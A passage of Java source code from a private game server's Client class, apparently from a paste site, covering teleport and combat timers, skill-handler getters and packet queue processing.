  1579. getPA().showOption(3, 0, "Attack", 1);
  1580. } else if (getPA().inPitsWait()) {
  1581. getPA().showOption(3, 0, "Null", 1);
  1582. }
  1583.  
  1584. if (!hasMultiSign && inMulti()) {
  1585. hasMultiSign = true;
  1586. getPA().multiWay(1);
  1587. }
  1588.  
  1589. if (hasMultiSign && !inMulti()) {
  1590. hasMultiSign = false;
  1591. getPA().multiWay(-1);
  1592. }
  1593.  
  1594. if (skullTimer > 0) {
  1595. skullTimer--;
  1596. if (skullTimer == 1) {
  1597. isSkulled = false;
  1598. attackedPlayers.clear();
  1599. headIconPk = -1;
  1600. skullTimer = -1;
  1601. getPA().requestUpdates();
  1602. }
  1603. }
  1604.  
  1605. if (isDead && respawnTimer == -6) {
  1606. getPA().applyDead();
  1607. }
  1608.  
  1609. if (specRestore > 0) {
  1610. specRestore--;
  1611. }
  1612.  
  1613. if (respawnTimer == 7) {
  1614. respawnTimer = -6;
  1615. getPA().giveLife();
  1616. } else if (respawnTimer == 12) {
  1617. respawnTimer--;
  1618. startAnimation(0x900);
  1619. poisonDamage = -1;
  1620. }
  1621.  
  1622. if (respawnTimer > -6) {
  1623. respawnTimer--;
  1624. }
  1625. if (freezeTimer > -6) {
  1626. freezeTimer--;
  1627. if (frozenBy > 0) {
  1628. if (PlayerHandler.players[frozenBy] == null) {
  1629. freezeTimer = -1;
  1630. frozenBy = -1;
  1631. } else if (!goodDistance(absX, absY,
  1632. PlayerHandler.players[frozenBy].absX,
  1633. PlayerHandler.players[frozenBy].absY, 20)) {
  1634. freezeTimer = -1;
  1635. frozenBy = -1;
  1636. }
  1637. }
  1638. }
  1639.  
  1640. if (hitDelay > 0) {
  1641. hitDelay--;
  1642. }
  1643. //RubberCheck(); //Rubber Chicken
  1644. if (teleTimer > 0) {
  1645. teleTimer--;
  1646. if (isPvpMode) { //For pvp mode - 10 second Teleport delay
  1647. if (!isDead) {
  1648. if (teleTimer == 1 && newLocation > 0) { //Full teleport finishes here.
  1649. teleTimer = 0;
  1650. getPA().changeLocation();
  1651. }
  1652. if (teleTimer == 5) { //This is where it starts to read new map data for teleport
  1653. teleTimer--;
  1654. getPA().processTeleport();
  1655. }
  1656. if (teleTimer == 9 && teleGfx > 0 ) { //This is where the animations start
  1657. teleTimer--;
  1658. if (playerMagicBook == 1) { //Added all this here because of 10 second delay...
  1659. startAnimation(1979);
  1660. gfx0(392);
  1661. } else {
  1662. startAnimation(714);
  1663. gfx100(teleGfx);
  1664. }
  1665. }
  1666. if (teleTimer >= 9 && teleTimer <= (playerMagicBook == 1 ? 19 : 21)) { //This is a check for the "10" second wait timer
  1667. if (underAttackBy > 0 || underAttackBy2 > 0) {
  1668. sendMessage("Teleport has been canceled because you are in combat.");
  1669. teleTimer = 0;
  1670. return;
  1671. }
  1672. }
  1673. if (teleTimer == (playerMagicBook == 1 ? 18 : 20)) { //Start of timer (when you click button)
  1674. if (underAttackBy > 0 || underAttackBy2 > 0) {
  1675. sendMessage("Teleport has been canceled because you are in combat.");
  1676. teleTimer = 0;
  1677. return;
  1678. }
  1679. teleTimer--;
  1680. sendMessage("Teleporting in 10 seconds...");
  1681. getDH().sendDialogues(570, 1);
  1682. }
  1683.  
  1684. } else {
  1685. teleTimer = 0;
  1686. }
  1687. } else { //For regular teleports below
  1688. if (!isDead) {
  1689. if (teleTimer == 1 && newLocation > 0) {
  1690. teleTimer = 0;
  1691. getPA().changeLocation();
  1692. }
  1693. if (teleTimer == 5) {
  1694. teleTimer--;
  1695. getPA().processTeleport();
  1696. }
  1697. if (teleTimer == 9 && teleGfx > 0) {
  1698. teleTimer--;
  1699. gfx100(teleGfx);
  1700. }
  1701. } else {
  1702. teleTimer = 0;
  1703. }
  1704. }
  1705. }
  1706.  
  1707. /*if (isPvpMode) {
  1708. if (System.currentTimeMillis() - pvpTeleDelay > 7000) {
  1709. CycleEventHandler.getSingleton().stopEvents(this);
  1710. getPA().processTeleport();
  1711. } else {
  1712. sendMessage("You must be out of combat for 7 seconds before teleporting.");
  1713. }
  1714. }*/
  1715.  
  1716. if (hitDelay == 1) {
  1717. if (oldNpcIndex > 0) {
  1718. getCombat().delayedHit(this, oldNpcIndex);
  1719. }
  1720. if (oldPlayerIndex > 0) {
  1721. getCombat().playerDelayedHit(this, oldPlayerIndex);
  1722. }
  1723. }
  1724.  
  1725. if (attackTimer > 0) {
  1726. attackTimer--;
  1727. }
  1728.  
  1729. if (attackTimer == 1) {
  1730. if (npcIndex > 0 && clickNpcType == 0) {
  1731. getCombat().attackNpc(npcIndex);
  1732. }
  1733. if (playerIndex > 0) {
  1734. getCombat().attackPlayer(playerIndex);
  1735. }
  1736. } else if (attackTimer <= 0 && (npcIndex > 0 || playerIndex > 0)) {
  1737. if (npcIndex > 0) {
  1738. attackTimer = 0;
  1739. getCombat().attackNpc(npcIndex);
  1740. } else if (playerIndex > 0) {
  1741. attackTimer = 0;
  1742. getCombat().attackPlayer(playerIndex);
  1743. }
  1744. }
  1745.  
  1746. }
  1747.  
  1748. public Map getStringMap() {
  1749. return stringMap;
  1750. }
  1751.  
  1752. private String redOrGreen(boolean green) {
  1753. return green ? "@gre@" : "@red@";
  1754. }
  1755.  
  1756. public void setCurrentTask(Future<?> task) {
  1757. currentTask = task;
  1758. }
  1759.  
  1760. public Future<?> getCurrentTask() {
  1761. return currentTask;
  1762. }
  1763.  
  1764. public synchronized Stream getInStream() {
  1765. return inStream;
  1766. }
  1767.  
  1768. public synchronized int getPacketType() {
  1769. return packetType;
  1770. }
  1771.  
  1772. public synchronized int getPacketSize() {
  1773. return packetSize;
  1774. }
  1775.  
  1776. public synchronized Stream getOutStream() {
  1777. return outStream;
  1778. }
  1779.  
  1780. public ItemAssistant getItems() {
  1781. return itemAssistant;
  1782. }
  1783.  
  1784. public PlayerAssistant getPA() {
  1785. return playerAssistant;
  1786. }
  1787.  
  1788. public PMLog PMLog() {
  1789. return PMLog;
  1790. }
  1791.  
  1792. public Alching Alching() {
  1793. return Alching;
  1794. }
  1795.  
  1796. public ClickItem ClickItem() {
  1797. return ClickItem;
  1798. }
  1799.  
  1800. public Shopping Shopping() {
  1801. return Shopping;
  1802. }
  1803.  
  1804. public PickupItem PickupItem() {
  1805. return PickupItem;
  1806. }
  1807.  
  1808. public DroppingItem DroppingItem() {
  1809. return DroppingItem;
  1810. }
  1811. public PvPLog PvPLog() {
  1812. return PvPLog;
  1813. }
  1814. public CommandsLog CommandsLog() {
  1815. return CommandsLog;
  1816. }
  1817.  
  1818. public StakingLog StakingLog() {
  1819. return StakingLog;
  1820. }
  1821.  
  1822. public DialogueHandler getDH() {
  1823. return dialogueHandler;
  1824. }
  1825.  
  1826. public ShopAssistant getShops() {
  1827. return shopAssistant;
  1828. }
  1829.  
  1830. public TradeAndDuel getTradeAndDuel() {
  1831. return tradeAndDuel;
  1832. }
  1833.  
  1834. public CombatAssistant getCombat() {
  1835. return combatAssistant;
  1836. }
  1837.  
  1838. public ActionHandler getActions() {
  1839. return actionHandler;
  1840. }
  1841.  
  1842. public KillsStreak getStreak() {
  1843. return killsStreak;
  1844. }
  1845.  
  1846. public PlayerKilling getKill() {
  1847. return playerKilling;
  1848. }
  1849.  
  1850. public Channel getSession() {
  1851. return session;
  1852. }
  1853.  
  1854. public Achievement getAchievement() {
  1855. return achievement;
  1856. }
  1857.  
  1858. public TradeLog getTradeLog() {
  1859. return tradeLog;
  1860. }
  1861.  
  1862. public Bank getBank() {
  1863. return bank;
  1864. }
  1865.  
  1866. public Potions getPotions() {
  1867. return potions;
  1868. }
  1869.  
  1870. public PotionMixing getPotMixing() {
  1871. return potionMixing;
  1872. }
  1873.  
  1874. public Food getFood() {
  1875. return food;
  1876. }
  1877.  
  1878. public boolean ardiRizal() {
  1879. if ((playerEquipment[playerHat] == -1)
  1880. && (playerEquipment[playerCape] == -1)
  1881. && (playerEquipment[playerAmulet] == -1)
  1882. && (playerEquipment[playerChest] == -1)
  1883. && (playerEquipment[playerShield] == -1)
  1884. && (playerEquipment[playerLegs] == -1)
  1885. && (playerEquipment[playerHands] == -1)
  1886. && (playerEquipment[playerFeet] == -1)
  1887. && (playerEquipment[playerWeapon] == -1)) {
  1888. return true;
  1889. } else {
  1890. return false;
  1891. }
  1892. }
  1893.  
  1894. private boolean isBusy = false;
  1895. private boolean isBusyHP = false;
  1896. public boolean isBusyFollow = false;
  1897.  
  1898. public boolean checkBusy() {
  1899. /*
  1900. * if (getCombat().isFighting()) { return true; }
  1901. */
  1902. if (isBusy) {
  1903. // actionAssistant.sendMessage("You are too busy to do that.");
  1904. }
  1905. return isBusy;
  1906. }
  1907.  
  1908. public boolean checkBusyHP() {
  1909. return isBusyHP;
  1910. }
  1911.  
  1912. public boolean checkBusyFollow() {
  1913. return isBusyFollow;
  1914. }
  1915.  
  1916. public void setBusy(boolean isBusy) {
  1917. this.isBusy = isBusy;
  1918. }
  1919.  
  1920. public boolean isBusy() {
  1921. return isBusy;
  1922. }
  1923.  
  1924. public void setBusyFollow(boolean isBusyFollow) {
  1925. this.isBusyFollow = isBusyFollow;
  1926. }
  1927.  
  1928. public void setBusyHP(boolean isBusyHP) {
  1929. this.isBusyHP = isBusyHP;
  1930. }
  1931.  
  1932. public boolean isBusyHP() {
  1933. return isBusyHP;
  1934. }
  1935.  
  1936. public boolean isBusyFollow() {
  1937. return isBusyFollow;
  1938. }
  1939.  
  1940. public boolean canWalk = true;
  1941. public boolean hasChosenIronMan;
  1942. public boolean isChosing;
  1943.  
  1944. public boolean canWalk() {
  1945. return canWalk;
  1946. }
  1947.  
  1948. public void setCanWalk(boolean canWalk) {
  1949. this.canWalk = canWalk;
  1950. }
  1951.  
  1952. public PlayerAssistant getPlayerAssistant() {
  1953. return playerAssistant;
  1954. }
  1955.  
  1956. public SkillInterfaces getSI() {
  1957. return skillInterfaces;
  1958. }
  1959.  
  1960. public Zulrah getZulrah() {
  1961. return zulrah;
  1962. }
  1963.  
  1964. /**
  1965. * Skill Constructors
  1966. */
  1967. public Slayer getSlayer() {
  1968. return slayer;
  1969. }
  1970.  
  1971. public Hunter getHunter() {
  1972. return hunter;
  1973. }
  1974.  
  1975. public Summoning Summoning() {
  1976. return Summoning;
  1977. }
  1978.  
  1979. public Woodcutting getWoodcutting() {
  1980. return woodcutting;
  1981. }
  1982.  
  1983. public Mining getMining() {
  1984. return mine;
  1985. }
  1986.  
  1987. public Runecrafting getRunecrafting() {
  1988. return runecrafting;
  1989. }
  1990.  
  1991. public BankPin getBankPin() {
  1992. return bankPin;
  1993. }
  1994.  
  1995. public PotSmoking getPotSmoking() {
  1996. return potSmoking;
  1997. }
  1998.  
  1999. public Cooking getCooking() {
  2000. return cooking;
  2001. }
  2002.  
  2003. public Agility getAgility() {
  2004. return agility;
  2005. }
  2006.  
  2007. public Crafting getCrafting() {
  2008. return crafting;
  2009. }
  2010.  
  2011. public Farming getFarming() {
  2012. return farming;
  2013. }
  2014.  
  2015. public Thieving getThieving() {
  2016. return thieving;
  2017. }
  2018.  
  2019. public Herblore getHerblore() {
  2020. return herblore;
  2021. }
  2022.  
  2023. public String getConnectedFrom() {
  2024. return connectedFrom;
  2025. }
  2026.  
  2027. public Pets getSummon() {
  2028. return pets;
  2029. }
  2030.  
  2031. public Smithing getSmithing() {
  2032. return smith;
  2033. }
  2034. public CreateNPC createNPC() {
  2035. return newNPC;
  2036. }
  2037.  
  2038. public RemoveNPC removeNPC() {
  2039. return rNPC;
  2040. }
  2041. public SmithingInterface getSmithingInt() {
  2042. return smithInt;
  2043. }
  2044.  
  2045. public Firemaking getFiremaking() {
  2046. return firemaking;
  2047. }
  2048.  
  2049. public Fletching getFletching() {
  2050. return fletching;
  2051. }
  2052.  
  2053. public Prayer getPrayer() {
  2054. return prayer;
  2055. }
  2056.  
  2057. /**
  2058. * End of Skill Constructors
  2059. */
  2060.  
  2061. public void queueMessage(Packet arg1) {
  2062. synchronized (queuedPackets) {
  2063. queuedPackets.add(arg1);
  2064. }
  2065. }
  2066.  
  2067. @Override
  2068. public boolean processQueuedPackets() {
  2069. synchronized (queuedPackets) {
  2070. Packet p = null;
  2071. while ((p = queuedPackets.poll()) != null) {
  2072. inStream.currentOffset = 0;
  2073. packetType = p.getOpcode();
  2074. packetSize = p.getLength();
  2075. inStream.buffer = p.getPayload().array();
  2076. if (packetType > 0) {
  2077. PacketHandler.processPacket(this, packetType, packetSize);
  2078. }
  2079. }
  2080. }
  2081. return true;
  2082. }
  2083.  
  2084. /*
  2085. * public void queueMessage(Packet arg1) { //synchronized(queuedPackets) {
  2086. * //if (arg1.getId() != 41) queuedPackets.add(arg1); //else
  2087. * //processPacket(arg1); //} }
  2088. *
  2089. * public synchronized boolean processQueuedPackets() { Packet p = null;
  2090. * synchronized(queuedPackets) { p = queuedPackets.poll(); } if(p == null) {
  2091. * return false; } inStream.currentOffset = 0; packetType = p.getOpcode();
  2092. * packetSize = p.getLength(); inStream.buffer = p.getPayload().array();
  2093. * if(packetType > 0) { //sendMessage("PacketType: " + packetType);
  2094. * PacketHandler.processPacket(this, packetType, packetSize); }
  2095. * timeOutCounter = 0; return true; }
  2096. *
  2097. * public synchronized boolean processPacket(Packet p) { synchronized (this)
  2098. * { if(p == null) { return false; } inStream.currentOffset = 0; packetType
  2099. * = p.getOpcode(); packetSize = p.getLength(); inStream.buffer =
  2100. * p.getPayload().array(); if(packetType > 0) { //sendMessage("PacketType: "
  2101. * + packetType); PacketHandler.processPacket(this, packetType, packetSize);
  2102. * } timeOutCounter = 0; return true; } }
  2103. */
  2104.  
  2105. public void correctCoordinates() {
  2106. if (inPcGame()) {
  2107. getPA().movePlayer(2657, 2639, 0);
  2108. }
  2109. if (inFightCaves()) {
  2110. getPA().movePlayer(absX, absY, playerId * 4);
  2111. sendMessage("Your wave will start in 10 seconds.");
  2112. CycleEventHandler.getSingleton().addEvent(this, new CycleEvent() {
  2113. @Override
  2114. public void execute(CycleEventContainer container) {
  2115. Server.fightCaves
  2116. .spawnNextWave((Client) PlayerHandler.players[playerId]);
  2117. container.stop();
  2118. }
  2119.  
  2120. @Override
  2121. public void stop() {
  2122.  
  2123. }
  2124. }, 20);
  2125.  
  2126. }
  2127.  
  2128. }
  2129.  
  2130. public Barrows getBarrows() {
  2131. return barrows;
  2132. }
  2133.  
  2134. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement